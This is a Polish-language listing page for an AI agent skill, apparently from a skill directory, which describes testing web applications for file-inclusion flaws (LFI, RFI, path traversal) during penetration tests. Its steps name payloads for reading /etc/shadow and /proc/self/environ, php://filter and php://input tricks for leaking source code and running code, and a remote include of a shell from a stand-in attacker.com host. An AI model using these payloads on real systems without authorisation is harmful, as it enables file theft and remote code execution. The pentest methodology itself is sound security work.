file-inclusion
Wykrywaj i testuj luki w plikach include — LFI, RFI, path traversal
Instalacja
Wybierz klienta i sklonuj repozytorium do odpowiedniego katalogu skilli.
Instalacja
O skillu
Skill do testowania podatności związanych z włączaniem plików na serwerach. Pozwala na manipulację parametrami ścieżek dostępu w celu odczytania wrażliwych plików lub wykonania kodu. Obsługuje lokalne włączanie plików (LFI), zdalne włączanie (RFI), path traversal oraz PHP pseudo-protokoły. Przydatny podczas pentestów aplikacji webowych, które mają funkcje czytania plików, przełączania języka, ładowania szablonów lub podglądu dokumentów.
Jak używać
Zidentyfikuj parametry podatne na włączanie plików — szukaj parametrów takich jak file=, page=, path=, template=, lang= lub include= w aplikacji docelowej. Zwróć uwagę na funkcje przełączania języka, pobierania dokumentów, podglądu obrazów lub ładowania szablonów.
Przeprowadź test path traversal, wysyłając żądania z sekwencjami ../../../ lub ich wariantami (....// lub kodowanymi %2f) w celu dostępu do plików systemowych takich jak /etc/passwd lub /etc/shadow na systemach Linux, bądź C:\Windows\win.ini na Windows.
Testuj bezwzględne ścieżki dostępu, jeśli path traversal nie zadziała — spróbuj bezpośrednich ścieżek do plików systemowych, logów aplikacji (/var/log/apache2/access.log) lub zmiennych środowiska (/proc/self/environ).
Jeśli aplikacja obsługuje PHP, wykorzystaj pseudo-protokoły — php://filter/convert.base64-encode/resource=index.php do odczytania kodu źródłowego w Base64, lub php://input do wykonania własnego kodu PHP przesłanego w treści żądania POST.
Testuj zdalne włączanie plików (RFI), jeśli aplikacja zezwala na zewnętrzne adresy URL — spróbuj dołączyć plik ze swojego serwera (http://attacker.com/shell.txt) lub użyj data:// URI z zakodowanym kodem PHP.
Dokumentuj wszystkie znalezione podatności, w tym dokładne parametry, payload'y, które zadziałały, oraz odczytane lub wykonane zawartości — te informacje będą niezbędne do raportowania luki.
Podobne skille
typescript-review
autor: metabase
windows-ui-automation
autor: martinholovsky
accessibility-compliance
autor: wshobson
zendesk
autor: vm0-ai
brand-voice
autor: anthropics
youtube-watcher
autor: openclaw